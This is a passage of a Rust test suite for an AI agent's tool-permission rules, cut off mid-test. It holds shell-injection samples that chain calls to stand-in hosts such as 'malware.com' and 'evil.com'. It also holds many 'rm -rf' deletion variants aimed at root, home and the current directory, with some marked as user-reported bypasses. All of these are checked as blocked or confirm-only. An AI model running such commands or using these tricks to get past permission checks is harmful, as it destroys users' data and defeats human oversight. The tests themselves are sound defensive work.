1055 tools,
1056 };
1057 // Invalid patterns block the tool regardless of other settings
1058 assert!(matches!(
1059 ToolPermissionDecision::from_input(
1060 TerminalTool::NAME,
1061 &["echo hi".to_string()],
1062 &p,
1063 ShellKind::Posix
1064 ),
1065 ToolPermissionDecision::Deny(_)
1066 ));
1067 }
1068
1069 #[test]
1070 fn shell_injection_via_double_ampersand_not_allowed() {
1071 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1072 }
1073
1074 #[test]
1075 fn shell_injection_via_semicolon_not_allowed() {
1076 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1077 }
1078
1079 #[test]
1080 fn shell_injection_via_pipe_not_allowed() {
1081 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1082 }
1083
1084 #[test]
1085 fn shell_injection_via_backticks_not_allowed() {
1086 t("echo `wget malware.com`")
1087 .allow(&[pattern("echo")])
1088 .is_confirm();
1089 }
1090
1091 #[test]
1092 fn shell_injection_via_dollar_parens_not_allowed() {
1093 t("echo $(wget malware.com)")
1094 .allow(&[pattern("echo")])
1095 .is_confirm();
1096 }
1097
1098 #[test]
1099 fn shell_injection_via_or_operator_not_allowed() {
1100 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1101 }
1102
1103 #[test]
1104 fn shell_injection_via_background_operator_not_allowed() {
1105 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1106 }
1107
1108 #[test]
1109 fn shell_injection_via_newline_not_allowed() {
1110 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1111 }
1112
1113 #[test]
1114 fn shell_injection_via_process_substitution_input_not_allowed() {
1115 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1116 }
1117
1118 #[test]
1119 fn shell_injection_via_process_substitution_output_not_allowed() {
1120 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1121 }
1122
1123 #[test]
1124 fn shell_injection_without_spaces_not_allowed() {
1125 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1126 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1127 }
1128
1129 #[test]
1130 fn shell_injection_multiple_chained_operators_not_allowed() {
1131 t("ls && echo hello && wget malware.com")
1132 .allow(&["^ls"])
1133 .is_confirm();
1134 }
1135
1136 #[test]
1137 fn shell_injection_mixed_operators_not_allowed() {
1138 t("ls; echo hello && wget malware.com")
1139 .allow(&["^ls"])
1140 .is_confirm();
1141 }
1142
1143 #[test]
1144 fn shell_injection_pipe_stderr_not_allowed() {
1145 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1146 }
1147
1148 #[test]
1149 fn allow_requires_all_commands_to_match() {
1150 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1151 }
1152
1153 #[test]
1154 fn deny_triggers_on_any_matching_command() {
1155 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1156 }
1157
1158 #[test]
1159 fn deny_catches_injected_command() {
1160 t("ls && rm -rf ./temp")
1161 .allow(&["^ls"])
1162 .deny(&["^rm"])
1163 .is_deny();
1164 }
1165
1166 #[test]
1167 fn confirm_triggers_on_any_matching_command() {
1168 t("ls && sudo reboot")
1169 .allow(&["^ls"])
1170 .confirm(&["^sudo"])
1171 .is_confirm();
1172 }
1173
1174 #[test]
1175 fn always_allow_button_works_end_to_end() {
1176 // This test verifies that the "Always Allow" button behavior works correctly:
1177 // 1. User runs a command like "cargo build --release"
1178 // 2. They click "Always Allow for `cargo build` commands"
1179 // 3. The pattern extracted should match future "cargo build" commands
1180 // but NOT other cargo subcommands like "cargo test"
1181 let original_command = "cargo build --release";
1182 let extracted_pattern = pattern(original_command);
1183
1184 // The extracted pattern should allow the original command
1185 t(original_command).allow(&[extracted_pattern]).is_allow();
1186
1187 // It should allow other "cargo build" invocations with different flags
1188 t("cargo build").allow(&[extracted_pattern]).is_allow();
1189 t("cargo build --features foo")
1190 .allow(&[extracted_pattern])
1191 .is_allow();
1192
1193 // But NOT other cargo subcommands — the pattern is subcommand-specific
1194 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1195 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1196
1197 // Hyphenated extensions of the subcommand should not match either
1198 // (e.g. cargo plugins like "cargo build-foo")
1199 t("cargo build-foo")
1200 .allow(&[extracted_pattern])
1201 .is_confirm();
1202 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1203
1204 // But not commands with different base commands
1205 t("npm install").allow(&[extracted_pattern]).is_confirm();
1206
1207 // Chained commands: all must match the pattern
1208 t("cargo build && cargo build --release")
1209 .allow(&[extracted_pattern])
1210 .is_allow();
1211
1212 // But reject if any subcommand doesn't match
1213 t("cargo build && npm install")
1214 .allow(&[extracted_pattern])
1215 .is_confirm();
1216 }
1217
1218 #[test]
1219 fn always_allow_button_works_without_subcommand() {
1220 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1221 // should only include the command name, not the flag.
1222 let original_command = "ls -la";
1223 let extracted_pattern = pattern(original_command);
1224
1225 // The extracted pattern should allow the original command
1226 t(original_command).allow(&[extracted_pattern]).is_allow();
1227
1228 // It should allow other invocations of the same command
1229 t("ls").allow(&[extracted_pattern]).is_allow();
1230 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1231
1232 // But not different commands
1233 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1234
1235 // Chained commands: all must match
1236 t("ls -la && ls /tmp")
1237 .allow(&[extracted_pattern])
1238 .is_allow();
1239 t("ls -la && cat file.txt")
1240 .allow(&[extracted_pattern])
1241 .is_confirm();
1242 }
1243
1244 #[test]
1245 fn nested_command_substitution_all_checked() {
1246 t("echo $(cat $(whoami).txt)")
1247 .allow(&["^echo", "^cat", "^whoami"])
1248 .is_allow();
1249 }
1250
1251 #[test]
1252 fn parse_failure_falls_back_to_confirm() {
1253 t("ls &&").allow(&["^ls$"]).is_confirm();
1254 }
1255
1256 #[test]
1257 fn mcp_tool_default_modes() {
1258 t("")
1259 .tool("mcp:fs:read")
1260 .mode(ToolPermissionMode::Allow)
1261 .is_allow();
1262 t("")
1263 .tool("mcp:bad:del")
1264 .mode(ToolPermissionMode::Deny)
1265 .is_deny();
1266 t("")
1267 .tool("mcp:gh:issue")
1268 .mode(ToolPermissionMode::Confirm)
1269 .is_confirm();
1270 t("")
1271 .tool("mcp:gh:issue")
1272 .mode(ToolPermissionMode::Confirm)
1273 .global_default(ToolPermissionMode::Allow)
1274 .is_confirm();
1275 }
1276
1277 #[test]
1278 fn mcp_doesnt_collide_with_builtin() {
1279 let mut tools = collections::HashMap::default();
1280 tools.insert(
1281 Arc::from(TerminalTool::NAME),
1282 ToolRules {
1283 default: Some(ToolPermissionMode::Deny),
1284 always_allow: vec![],
1285 always_deny: vec![],
1286 always_confirm: vec![],
1287 invalid_patterns: vec![],
1288 },
1289 );
1290 tools.insert(
1291 Arc::from("mcp:srv:terminal"),
1292 ToolRules {
1293 default: Some(ToolPermissionMode::Allow),
1294 always_allow: vec![],
1295 always_deny: vec![],
1296 always_confirm: vec![],
1297 invalid_patterns: vec![],
1298 },
1299 );
1300 let p = ToolPermissions {
1301 default: ToolPermissionMode::Confirm,
1302 tools,
1303 };
1304 assert!(matches!(
1305 ToolPermissionDecision::from_input(
1306 TerminalTool::NAME,
1307 &["x".to_string()],
1308 &p,
1309 ShellKind::Posix
1310 ),
1311 ToolPermissionDecision::Deny(_)
1312 ));
1313 assert_eq!(
1314 ToolPermissionDecision::from_input(
1315 "mcp:srv:terminal",
1316 &["x".to_string()],
1317 &p,
1318 ShellKind::Posix
1319 ),
1320 ToolPermissionDecision::Allow
1321 );
1322 }
1323
1324 #[test]
1325 fn case_insensitive_by_default() {
1326 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1327 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1328 }
1329
1330 #[test]
1331 fn case_sensitive_allow() {
1332 t("cargo test")
1333 .allow_case_sensitive(&[pattern("cargo")])
1334 .is_allow();
1335 t("CARGO TEST")
1336 .allow_case_sensitive(&[pattern("cargo")])
1337 .is_confirm();
1338 }
1339
1340 #[test]
1341 fn case_sensitive_deny() {
1342 t("rm -rf ./temp")
1343 .deny_case_sensitive(&[pattern("rm")])
1344 .is_deny();
1345 t("RM -RF ./temp")
1346 .deny_case_sensitive(&[pattern("rm")])
1347 .mode(ToolPermissionMode::Allow)
1348 .is_allow();
1349 }
1350
1351 #[test]
1352 fn nushell_allows_with_allow_pattern() {
1353 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1354 }
1355
1356 #[test]
1357 fn nushell_allows_deny_patterns() {
1358 t("rm -rf ./temp")
1359 .deny(&["rm\\s+-rf"])
1360 .shell(ShellKind::Nushell)
1361 .is_deny();
1362 }
1363
1364 #[test]
1365 fn nushell_allows_confirm_patterns() {
1366 t("sudo reboot")
1367 .confirm(&["sudo"])
1368 .shell(ShellKind::Nushell)
1369 .is_confirm();
1370 }
1371
1372 #[test]
1373 fn nushell_no_allow_patterns_uses_default() {
1374 t("ls")
1375 .deny(&["rm"])
1376 .mode(ToolPermissionMode::Allow)
1377 .shell(ShellKind::Nushell)
1378 .is_allow();
1379 }
1380
1381 #[test]
1382 fn elvish_allows_with_allow_pattern() {
1383 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1384 }
1385
1386 #[test]
1387 fn rc_allows_with_allow_pattern() {
1388 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1389 }
1390
1391 #[test]
1392 fn multiple_invalid_patterns_pluralizes_message() {
1393 let mut tools = collections::HashMap::default();
1394 tools.insert(
1395 Arc::from(TerminalTool::NAME),
1396 ToolRules {
1397 default: Some(ToolPermissionMode::Allow),
1398 always_allow: vec![],
1399 always_deny: vec![],
1400 always_confirm: vec![],
1401 invalid_patterns: vec![
1402 InvalidRegexPattern {
1403 pattern: "[bad1".into(),
1404 rule_type: "always_deny".into(),
1405 error: "err1".into(),
1406 },
1407 InvalidRegexPattern {
1408 pattern: "[bad2".into(),
1409 rule_type: "always_allow".into(),
1410 error: "err2".into(),
1411 },
1412 ],
1413 },
1414 );
1415 let p = ToolPermissions {
1416 default: ToolPermissionMode::Confirm,
1417 tools,
1418 };
1419
1420 let result = ToolPermissionDecision::from_input(
1421 TerminalTool::NAME,
1422 &["echo hi".to_string()],
1423 &p,
1424 ShellKind::Posix,
1425 );
1426 match result {
1427 ToolPermissionDecision::Deny(msg) => {
1428 assert!(
1429 msg.contains("2 regex patterns"),
1430 "Expected '2 regex patterns' in message, got: {}",
1431 msg
1432 );
1433 }
1434 other => panic!("Expected Deny, got {:?}", other),
1435 }
1436 }
1437
1438 // always_confirm patterns on non-terminal tools
1439 #[test]
1440 fn always_confirm_works_for_file_tools() {
1441 t("sensitive.env")
1442 .tool(EditFileTool::NAME)
1443 .confirm(&["sensitive"])
1444 .is_confirm();
1445
1446 t("normal.txt")
1447 .tool(EditFileTool::NAME)
1448 .confirm(&["sensitive"])
1449 .mode(ToolPermissionMode::Allow)
1450 .is_allow();
1451
1452 t("/etc/config")
1453 .tool(DeletePathTool::NAME)
1454 .confirm(&["/etc/"])
1455 .is_confirm();
1456
1457 t("/home/user/safe.txt")
1458 .tool(DeletePathTool::NAME)
1459 .confirm(&["/etc/"])
1460 .mode(ToolPermissionMode::Allow)
1461 .is_allow();
1462
1463 t("https://secret.internal.com/api")
1464 .tool(FetchTool::NAME)
1465 .confirm(&["secret\\.internal"])
1466 .is_confirm();
1467
1468 t("https://public.example.com/api")
1469 .tool(FetchTool::NAME)
1470 .confirm(&["secret\\.internal"])
1471 .mode(ToolPermissionMode::Allow)
1472 .is_allow();
1473
1474 // confirm on non-terminal tools still beats allow
1475 t("sensitive.env")
1476 .tool(EditFileTool::NAME)
1477 .allow(&["sensitive"])
1478 .confirm(&["\\.env$"])
1479 .is_confirm();
1480
1481 // confirm on non-terminal tools is still beaten by deny
1482 t("sensitive.env")
1483 .tool(EditFileTool::NAME)
1484 .confirm(&["sensitive"])
1485 .deny(&["\\.env$"])
1486 .is_deny();
1487
1488 // global default allow does not bypass confirm on non-terminal tools
1489 t("/etc/passwd")
1490 .tool(EditFileTool::NAME)
1491 .confirm(&["/etc/"])
1492 .global_default(ToolPermissionMode::Allow)
1493 .is_confirm();
1494 }
1495
1496 // Hardcoded security rules tests - these rules CANNOT be bypassed
1497
1498 #[test]
1499 fn hardcoded_blocks_rm_rf_root() {
1500 t("rm -rf /").is_deny();
1501 t("rm -fr /").is_deny();
1502 t("rm -RF /").is_deny();
1503 t("rm -FR /").is_deny();
1504 t("rm -r -f /").is_deny();
1505 t("rm -f -r /").is_deny();
1506 t("RM -RF /").is_deny();
1507 t("rm /").is_deny();
1508 // Long flags
1509 t("rm --recursive --force /").is_deny();
1510 t("rm --force --recursive /").is_deny();
1511 // Extra short flags
1512 t("rm -rfv /").is_deny();
1513 t("rm -v -rf /").is_deny();
1514 // Glob wildcards
1515 t("rm -rf /*").is_deny();
1516 t("rm -rf /* ").is_deny();
1517 // End-of-options marker
1518 t("rm -rf -- /").is_deny();
1519 t("rm -- /").is_deny();
1520 // Prefixed with sudo or other commands
1521 t("sudo rm -rf /").is_deny();
1522 t("sudo rm -rf /*").is_deny();
1523 t("sudo rm -rf --no-preserve-root /").is_deny();
1524 }
1525
1526 #[test]
1527 fn hardcoded_blocks_rm_rf_home() {
1528 t("rm -rf ~").is_deny();
1529 t("rm -fr ~").is_deny();
1530 t("rm -rf ~/").is_deny();
1531 t("rm -rf $HOME").is_deny();
1532 t("rm -fr $HOME").is_deny();
1533 t("rm -rf $HOME/").is_deny();
1534 t("rm -rf ${HOME}").is_deny();
1535 t("rm -rf ${HOME}/").is_deny();
1536 t("rm -RF $HOME").is_deny();
1537 t("rm -FR ${HOME}/").is_deny();
1538 t("rm -R -F ${HOME}/").is_deny();
1539 t("RM -RF ~").is_deny();
1540 // Long flags
1541 t("rm --recursive --force ~").is_deny();
1542 t("rm --recursive --force ~/").is_deny();
1543 t("rm --recursive --force $HOME").is_deny();
1544 t("rm --force --recursive ${HOME}/").is_deny();
1545 // Extra short flags
1546 t("rm -rfv ~").is_deny();
1547 t("rm -v -rf ~/").is_deny();
1548 // Glob wildcards
1549 t("rm -rf ~/*").is_deny();
1550 t("rm -rf $HOME/*").is_deny();
1551 t("rm -rf ${HOME}/*").is_deny();
1552 // End-of-options marker
1553 t("rm -rf -- ~").is_deny();
1554 t("rm -rf -- ~/").is_deny();
1555 t("rm -rf -- $HOME").is_deny();
1556 }
1557
1558 #[test]
1559 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1560 // Path traversal after $HOME / ${HOME} should still be blocked
1561 t("rm -rf $HOME/./").is_deny();
1562 t("rm -rf $HOME/foo/..").is_deny();
1563 t("rm -rf ${HOME}/.").is_deny();
1564 t("rm -rf ${HOME}/./").is_deny();
1565 t("rm -rf $HOME/a/b/../..").is_deny();
1566 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1567 // Subdirectories should NOT be blocked
1568 t("rm -rf $HOME/subdir")
1569 .mode(ToolPermissionMode::Allow)
1570 .is_allow();
1571 t("rm -rf ${HOME}/Documents")
1572 .mode(ToolPermissionMode::Allow)
1573 .is_allow();
1574 }
1575
1576 #[test]
1577 fn hardcoded_blocks_rm_rf_dot() {
1578 t("rm -rf .").is_deny();
1579 t("rm -fr .").is_deny();
1580 t("rm -rf ./").is_deny();
1581 t("rm -rf ..").is_deny();
1582 t("rm -fr ..").is_deny();
1583 t("rm -rf ../").is_deny();
1584 t("rm -RF .").is_deny();
1585 t("rm -FR ../").is_deny();
1586 t("rm -R -F ../").is_deny();
1587 t("RM -RF .").is_deny();
1588 t("RM -RF ..").is_deny();
1589 // Long flags
1590 t("rm --recursive --force .").is_deny();
1591 t("rm --force --recursive ../").is_deny();
1592 // Extra short flags
1593 t("rm -rfv .").is_deny();
1594 t("rm -v -rf ../").is_deny();
1595 // Glob wildcards
1596 t("rm -rf ./*").is_deny();
1597 t("rm -rf ../*").is_deny();
1598 // End-of-options marker
1599 t("rm -rf -- .").is_deny();
1600 t("rm -rf -- ../").is_deny();
1601 }
1602
1603 #[test]
1604 fn hardcoded_cannot_be_bypassed_by_global() {
1605 // Even with global default Allow, hardcoded rules block
1606 t("rm -rf /")
1607 .global_default(ToolPermissionMode::Allow)
1608 .is_deny();
1609 t("rm -rf ~")
1610 .global_default(ToolPermissionMode::Allow)
1611 .is_deny();
1612 t("rm -rf $HOME")
1613 .global_default(ToolPermissionMode::Allow)
1614 .is_deny();
1615 t("rm -rf .")
1616 .global_default(ToolPermissionMode::Allow)
1617 .is_deny();
1618 t("rm -rf ..")
1619 .global_default(ToolPermissionMode::Allow)
1620 .is_deny();
1621 }
1622
1623 #[test]
1624 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1625 // Even with an allow pattern that matches, hardcoded rules block
1626 t("rm -rf /").allow(&[".*"]).is_deny();
1627 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1628 t("rm -rf .").allow(&[".*"]).is_deny();
1629 t("rm -rf ..").allow(&[".*"]).is_deny();
1630 }
1631
1632 #[test]
1633 fn hardcoded_allows_safe_rm() {
1634 // rm -rf on a specific path should NOT be blocked
1635 t("rm -rf ./build")
1636 .mode(ToolPermissionMode::Allow)
1637 .is_allow();
1638 t("rm -rf /tmp/test")
1639 .mode(ToolPermissionMode::Allow)
1640 .is_allow();
1641 t("rm -rf ~/Documents")
1642 .mode(ToolPermissionMode::Allow)
1643 .is_allow();
1644 t("rm -rf $HOME/Documents")
1645 .mode(ToolPermissionMode::Allow)
1646 .is_allow();
1647 t("rm -rf ../some_dir")
1648 .mode(ToolPermissionMode::Allow)
1649 .is_allow();
1650 t("rm -rf .hidden_dir")
1651 .mode(ToolPermissionMode::Allow)
1652 .is_allow();
1653 t("rm -rfv ./build")
1654 .mode(ToolPermissionMode::Allow)
1655 .is_allow();
1656 t("rm --recursive --force ./build")
1657 .mode(ToolPermissionMode::Allow)
1658 .is_allow();
1659 }
1660
1661 #[test]
1662 fn hardcoded_checks_chained_commands() {
1663 // Hardcoded rules should catch dangerous commands in chains
1664 t("ls && rm -rf /").is_deny();
1665 t("echo hello; rm -rf ~").is_deny();
1666 t("cargo build && rm -rf /")
1667 .global_default(ToolPermissionMode::Allow)
1668 .is_deny();
1669 t("echo hello; rm -rf $HOME").is_deny();
1670 t("echo hello; rm -rf .").is_deny();
1671 t("echo hello; rm -rf ..").is_deny();
1672 }
1673
1674 #[test]
1675 fn hardcoded_blocks_rm_with_extra_flags() {
1676 // Extra flags like -v, -i should not bypass the security rules
1677 t("rm -rfv /").is_deny();
1678 t("rm -v -rf /").is_deny();
1679 t("rm -rfi /").is_deny();
1680 t("rm -rfv ~").is_deny();
1681 t("rm -rfv ~/").is_deny();
1682 t("rm -rfv $HOME").is_deny();
1683 t("rm -rfv .").is_deny();
1684 t("rm -rfv ./").is_deny();
1685 t("rm -rfv ..").is_deny();
1686 t("rm -rfv ../").is_deny();
1687 }
1688
1689 #[test]
1690 fn hardcoded_blocks_rm_with_long_flags() {
1691 t("rm --recursive --force /").is_deny();
1692 t("rm --force --recursive /").is_deny();
1693 t("rm --recursive --force ~").is_deny();
1694 t("rm --recursive --force ~/").is_deny();
1695 t("rm --recursive --force $HOME").is_deny();
1696 t("rm --recursive --force .").is_deny();
1697 t("rm --recursive --force ..").is_deny();
1698 }
1699
1700 #[test]
1701 fn hardcoded_blocks_rm_with_glob_star() {
1702 // rm -rf /* is equally catastrophic to rm -rf /
1703 t("rm -rf /*").is_deny();
1704 t("rm -rf ~/*").is_deny();
1705 t("rm -rf $HOME/*").is_deny();
1706 t("rm -rf ${HOME}/*").is_deny();
1707 t("rm -rf ./*").is_deny();
1708 t("rm -rf ../*").is_deny();
1709 }
1710
1711 #[test]
1712 fn hardcoded_extra_flags_allow_safe_rm() {
1713 // Extra flags on specific paths should NOT be blocked
1714 t("rm -rfv ~/somedir")
1715 .mode(ToolPermissionMode::Allow)
1716 .is_allow();
1717 t("rm -rfv /tmp/test")
1718 .mode(ToolPermissionMode::Allow)
1719 .is_allow();
1720 t("rm --recursive --force ./build")
1721 .mode(ToolPermissionMode::Allow)
1722 .is_allow();
1723 }
1724
1725 #[test]
1726 fn hardcoded_does_not_block_words_containing_rm() {
1727 // Words like "storm", "inform" contain "rm" but should not be blocked
1728 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1729 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1730 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1731 }
1732
1733 #[test]
1734 fn hardcoded_blocks_rm_with_trailing_flags() {
1735 // GNU rm accepts flags after operands by default
1736 t("rm / -rf").is_deny();
1737 t("rm / -fr").is_deny();
1738 t("rm / -RF").is_deny();
1739 t("rm / -r -f").is_deny();
1740 t("rm / --recursive --force").is_deny();
1741 t("rm / -rfv").is_deny();
1742 t("rm /* -rf").is_deny();
1743 // Mixed: some flags before path, some after
1744 t("rm -r / -f").is_deny();
1745 t("rm -f / -r").is_deny();
1746 // Home
1747 t("rm ~ -rf").is_deny();
1748 t("rm ~/ -rf").is_deny();
1749 t("rm ~ -r -f").is_deny();
1750 t("rm $HOME -rf").is_deny();
1751 t("rm ${HOME} -rf").is_deny();
1752 // Dot / dotdot
1753 t("rm . -rf").is_deny();
1754 t("rm ./ -rf").is_deny();
1755 t("rm . -r -f").is_deny();
1756 t("rm .. -rf").is_deny();
1757 t("rm ../ -rf").is_deny();
1758 t("rm .. -r -f").is_deny();
1759 // Trailing flags in chained commands
1760 t("ls && rm / -rf").is_deny();
1761 t("echo hello; rm ~ -rf").is_deny();
1762 // Safe paths with trailing flags should NOT be blocked
1763 t("rm ./build -rf")
1764 .mode(ToolPermissionMode::Allow)
1765 .is_allow();
1766 t("rm /tmp/test -rf")
1767 .mode(ToolPermissionMode::Allow)
1768 .is_allow();
1769 t("rm ~/Documents -rf")
1770 .mode(ToolPermissionMode::Allow)
1771 .is_allow();
1772 }
1773
1774 #[test]
1775 fn hardcoded_blocks_rm_with_flag_equals_value() {
1776 // --flag=value syntax should not bypass the rules
1777 t("rm --no-preserve-root=yes -rf /").is_deny();
1778 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1779 t("rm -rf --no-preserve-root=yes /").is_deny();
1780 t("rm --interactive=never -rf /").is_deny();
1781 t("rm --no-preserve-root=yes -rf ~").is_deny();
1782 t("rm --no-preserve-root=yes -rf .").is_deny();
1783 t("rm --no-preserve-root=yes -rf ..").is_deny();
1784 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1785 // --flag (without =value) should also not bypass the rules
1786 t("rm -rf --no-preserve-root /").is_deny();
1787 t("rm --no-preserve-root -rf /").is_deny();
1788 t("rm --no-preserve-root --recursive --force /").is_deny();
1789 t("rm -rf --no-preserve-root ~").is_deny();
1790 t("rm -rf --no-preserve-root .").is_deny();
1791 t("rm -rf --no-preserve-root ..").is_deny();
1792 t("rm -rf --no-preserve-root $HOME").is_deny();
1793 // Trailing --flag=value after path
1794 t("rm / --no-preserve-root=yes -rf").is_deny();
1795 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1796 // Trailing --flag (without =value) after path
1797 t("rm / -rf --no-preserve-root").is_deny();
1798 t("rm ~ -rf --no-preserve-root").is_deny();
1799 // Safe paths with --flag=value should NOT be blocked
1800 t("rm --no-preserve-root=yes -rf ./build")
1801 .mode(ToolPermissionMode::Allow)
1802 .is_allow();
1803 t("rm --interactive=never -rf /tmp/test")
1804 .mode(ToolPermissionMode::Allow)
1805 .is_allow();
1806 // Safe paths with --flag (without =value) should NOT be blocked
1807 t("rm --no-preserve-root -rf ./build")
1808 .mode(ToolPermissionMode::Allow)
1809 .is_allow();
1810 }
1811
1812 #[test]
1813 fn hardcoded_blocks_rm_with_path_traversal() {
1814 // Traversal to root via ..
1815 t("rm -rf /etc/../").is_deny();
1816 t("rm -rf /tmp/../../").is_deny();
1817 t("rm -rf /tmp/../..").is_deny();
1818 t("rm -rf /var/log/../../").is_deny();
1819 // Root via /./
1820 t("rm -rf /./").is_deny();
1821 t("rm -rf /.").is_deny();
1822 // Double slash (equivalent to /)
1823 t("rm -rf //").is_deny();
1824 // Home traversal via ~/./
1825 t("rm -rf ~/./").is_deny();
1826 t("rm -rf ~/.").is_deny();
1827 // Dot traversal via indirect paths
1828 t("rm -rf ./foo/..").is_deny();
1829 t("rm -rf ../foo/..").is_deny();
1830 // Traversal in chained commands
1831 t("ls && rm -rf /tmp/../../").is_deny();
1832 t("echo hello; rm -rf /./").is_deny();
1833 // Traversal cannot be bypassed by global or allow patterns
1834 t("rm -rf /tmp/../../")
1835 .global_default(ToolPermissionMode::Allow)
1836 .is_deny();
1837 t("rm -rf /./").allow(&[".*"]).is_deny();
1838 // Safe paths with traversal should still be allowed
1839 t("rm -rf /tmp/../tmp/foo")
1840 .mode(ToolPermissionMode::Allow)
1841 .is_allow();
1842 t("rm -rf ~/Documents/./subdir")
1843 .mode(ToolPermissionMode::Allow)
1844 .is_allow();
1845 }
1846
1847 #[test]
1848 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1849 t("rm -rf /tmp /").is_deny();
1850 t("rm -rf /tmp/foo /").is_deny();
1851 t("rm -rf /var/log ~").is_deny();
1852 t("rm -rf /safe $HOME").is_deny();
1853 }
1854
1855 #[test]
1856 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1857 t("rm -rf / /tmp").is_deny();
1858 t("rm -rf ~ /var/log").is_deny();
1859 t("rm -rf . /tmp/foo").is_deny();
1860 t("rm -rf .. /safe").is_deny();
1861 }
1862
1863 #[test]
1864 fn hardcoded_allows_rm_multi_path_all_safe() {
1865 t("rm -rf /tmp /home/user")
1866 .mode(ToolPermissionMode::Allow)
1867 .is_allow();
1868 t("rm -rf ./build ./dist")
1869 .mode(ToolPermissionMode::Allow)
1870 .is_allow();
1871 t("rm -rf /var/log/app /tmp/cache")
1872 .mode(ToolPermissionMode::Allow)
1873 .is_allow();
1874 }
1875
1876 #[test]
1877 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1878 t("rm -rf /safe /tmp/../../").is_deny();
1879 t("rm -rf /tmp/../../ /safe").is_deny();
1880 t("rm -rf /safe /var/log/../../").is_deny();
1881 }
1882
1883 #[test]
1884 fn hardcoded_blocks_user_reported_bypass_variants() {
1885 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1886 t("rm -rf /etc/../").is_deny();
1887 t("rm -rf /etc/..").is_deny();
1888 // User report: --no-preserve-root (without =value) should not bypass
1889 t("rm -rf --no-preserve-root /").is_deny();
1890 t("rm --no-preserve-root -rf /").is_deny();
1891 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1892 t("rm -rf /*").is_deny();
1893 // Chained with sudo
1894 t("sudo rm -rf /").is_deny();
1895 t("sudo rm -rf --no-preserve-root /").is_deny();
1896 // Traversal cannot be bypassed even with global allow or allow patterns
1897 t("rm -rf /etc/../")
1898 .global_default(ToolPermissionMode::Allow)
1899 .is_deny();
1900 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1901 t("rm -rf --no-preserve-root /")
1902 .global_default(ToolPermissionMode::Allow)
1903 .is_deny();
1904 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1905 }
1906
1907 #[test]
1908 fn normalize_path_relative_no_change() {
1909 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1910 }
1911
1912 #[test]
1913 fn normalize_path_relative_with_curdir() {
1914 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1915 }
1916
1917 #[test]
1918 fn normalize_path_relative_with_parent() {
1919 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1920 }
1921
1922 #[test]
1923 fn normalize_path_absolute_preserved() {
1924 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1925 }
1926
1927 #[test]
1928 fn normalize_path_absolute_with_traversal() {
1929 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1930 }
1931
1932 #[test]
1933 fn normalize_path_root() {
1934 assert_eq!(normalize_path("/"), "/");
1935 }
1936
1937 #[test]
1938 fn normalize_path_parent_beyond_root_clamped() {
1939 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1940 }
1941
1942 #[test]
1943 fn normalize_path_curdir_only() {
1944 assert_eq!(normalize_path("."), "");
1945 }
1946
1947 #[test]
1948 fn normalize_path_empty() {
1949 assert_eq!(normalize_path(""), "");
1950 }
1951
1952 #[test]
1953 fn normalize_path_relative_traversal_above_start() {
1954 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1955 }
1956
1957 #[test]
1958 fn normalize_path_relative_traversal_with_curdir() {
1959 assert_eq!(normalize_path("../../."), "../..");
1960 }
1961
1962 #[test]
1963 fn normalize_path_relative_partial_traversal_above_start() {
1964 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1965 }
1966
1967 #[test]
1968 fn most_restrictive_deny_vs_allow() {
1969 assert!(matches!(
1970 most_restrictive(
1971 ToolPermissionDecision::Deny("x".into()),
1972 ToolPermissionDecision::Allow
1973 ),
1974 ToolPermissionDecision::Deny(_)
1975 ));
1976 }
1977
1978 #[test]
1979 fn most_restrictive_allow_vs_deny() {
1980 assert!(matches!(
1981 most_restrictive(
1982 ToolPermissionDecision::Allow,
1983 ToolPermissionDecision::Deny("x".into())
1984 ),
1985 ToolPermissionDecision::Deny(_)
1986 ));
1987 }
1988
1989 #[test]
1990 fn most_restrictive_deny_vs_confirm() {
1991 assert!(matches!(
1992 most_restrictive(
1993 ToolPermissionDecision::Deny("x".into()),
